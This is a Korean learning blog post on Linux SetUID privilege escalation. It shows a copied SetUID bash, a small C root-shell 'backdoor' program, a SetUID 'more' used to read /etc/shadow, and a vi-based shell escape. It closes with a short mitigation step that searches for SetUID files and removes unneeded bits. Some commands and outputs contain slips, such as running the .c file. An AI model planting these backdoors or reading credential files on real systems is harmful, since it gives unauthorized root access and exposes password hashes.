본문 바로가기

Learning/└◆System Hacking

리눅스/유닉스 SetUID를 이용한 해킹 기법

 

SetUID 비트를 가진 셸을 생성

 

리눅스/유닉스에서 SetUID 비트는 레이스 컨디션, 버퍼 오버 플로우, 포맷스트링 공격을 위해

사용 될 수 있다.

 

원본의 bash 셸을 복사하여 4755 권한으로 설정

 

$ cp /bin/bash /test/bash

$ chmod 4755 bash

$ ls -al

total 868

drwxrwxrwx.    2    root    root    4897    Nov    27    11:28    .
dr-xr-xr-x.    24    root    root    4897    Nov    27    11:28    ..
-rwsr-xr-x.    1    user01    user01    877697    Nov    27    11:28 bash

 

bash shell 을 복사해서 4755 즉, SetUID 권한이 결정되도록 권한을 바꾸는 부분

 

# cp 소스 destination

# chmod 4755 SetUID비트가 설정되도록 bash파일의 권한을 바꾼다.

 

SetUID비트가 주어진 쉘을 실행하는 방법.

아이디는 id라는 명령을 통해서 현재 로그인된 사용자의 계정정보를 알 수 있다.

그래서 id명령을 수행한 다음에 UID를 확인

 

userid 부분은 500, user01라는 사용자가 로그인 되어 있다.

UID=(500) gid=(500)

 

$ ./bash

$ id

UID=(500) gid=(500)

 

변화가 없다.

이유는 4755라는 SetUID를 권한을 누가 지정을 했냐면 user01라는 사용자가 권한을 지정했기 때문이다.

따라서 bash라는 파일을 실행하면 user01라는 사용자 권한을 획득하는 부분이다.

 

여기에는 bash라는 명령을 통해서 user01라는 사용자의 권한을 획득한다.

따라서 다른사용자가 로그인해서 bash라는 명령어를 사용하면 user01 권한을 사용할 수 있다.

 

일반 사용자 계정으로 SetUID 비트가 주어진 셸 실행

  • 셸의 SetUID 보안 설정으로 인한
    기본적인 SetUID 해킹 공격 실패
  • 백도어로 사용되는걸 막기 위해서
    셸 자체에서 SetUID 비트에 대한 공격을 차단함

따라서 권한상승이 이뤄지지 않았다. 이 부분을 권한을 획득하기 위해서

다른 프로세스로 권한부분을 획득해 보도록 하자.

 

쉘 프로세스를 다른 프로세스로 감싸는 코드
# vi backdoor.c

#include <stdio.h>

main() {
        setuid(0); 

  setgid(0);

  system("/bin/bash");

}

 

system 함수의 취약점

사용자의 유저아이디와 그룹의 루트권한, 최고권한을 결정한다는 의미

다음 bach rc라는 파일을 실행 즉, 루트사용자의 권한을 획득할 수 있는 소스 코드

 

# gcc -o backdoor backdoor.c

# chmod 4755 backdoor

# ls -al ./backdoor

-rwsr-xr-x,    1    root    root    4864    Nov   27    11:37    ./backdoor

확인작업

$ id

UID=500(user01)    gid=500(user01)    groups=500(user01)    ..

 

$ ./backdoor

# id

uis0(root)    gid=0(root)    groups=0(root),    500(user01)

 

 

more 명령에 SetUID 비트 부여

# chmod 4755 /bin/more

# ls -al /bin/more

-rws-r-x-r-x.    1    root    root    35123    Oct    11    03:13    /bin/more

 

사용자의 권한상승이 이뤄지는 부분을 확인 해본다.

 

more라는 명령은 사용자에게, 사용자화면에 실행부분들이 cat이라든지 ls라는 명령을 통해서

파일의 내용들이 너무 많이 출력될 경우에 사용자에게 한 페이지씩 나눠서 출력할 수 있도록

사용자가 페이지 또는 줄단위로 내용들을 계속 살펴볼 수 있도록 해 주는 명령어

그래서 파이프라인 명령을 통해서 보통 많이 실행 하게 된다.

 

more라는 명령어의 SetUID비트를 부여한 경우

사용자가 할당된 관리자 소유의 shadow파일에 접근

# more /etc/shadow


 명령을 내리게 되면 한 페이지가 넘어가기 때문에 사용자에게

그 이상 페이지를 보여줄 수 있도록 방향키라든지 엔터를 통해 계속 부분적으로

출력할 수 있도록 만들어지는 부분이다.

 

일반사용자계정은 shadow라는 파일의 접근을 할 수 없다.

하지만 more라는 명령 자체에 SetUID를 부여했기 때문에 일반사용자가 more /etc/shadow라고 하게 되면

SetUID즉, 루트권한을 획득해서 루트사용자처럼 최고관리자 권한으로 shadow파일의 내용을 살펴볼 수 있게 된다.

 

SetUID 비트가 할당된 vi 명령을 이용한 권한 상승

# vi vibackdoor.c

# include <stdio.h>

main () {

setuid(0);

setgid(0);

system("/bin/vi");

}

 

# gcc -o vibackdoor vibackdoor.c

# chmod 4755 vibackdoor.c

# ls -al

-rwsr-xr-x,    1    root    root    4864    Nov   27    11:37    ./vibackdoor

# ./vibackdoor.c

SetUID부분이 지정되어 실행과 동시에 루트권한을 가지게 된다.

:!/bin/bash (vi 편집기 실행 중)

 

# id

uis0(root)    gid=0(root)    groups=0(root),    500(user01)

 

[정리 & 대응방안]

이러한 합법적 권한상승부분을 악의적으로 도용을 해서 시스템의

계정을 획득할 수 있는 부분이다. 따라서 기본적인 보안설정 방법으로

시스템보안적인 부분에서 시스템 로그인한 후에

SetUID가 지정돼있는 파일들을 find라는 명령을 통해 검색한 후에

불필요하게 권한이 이항돼있는 파일들의 권한부분은 다 제거를 해 준다.

 

'Learning > └◆System Hacking' 카테고리의 다른 글

윈도우 SYSTEM 권한 획득 기법  (2) 2017.02.19
[War Game] FTZ Level 17  (0) 2017.02.01
[War Game] FTZ Level 16  (0) 2017.02.01
[War Game] Lord Of BoF Level 1  (0) 2017.01.30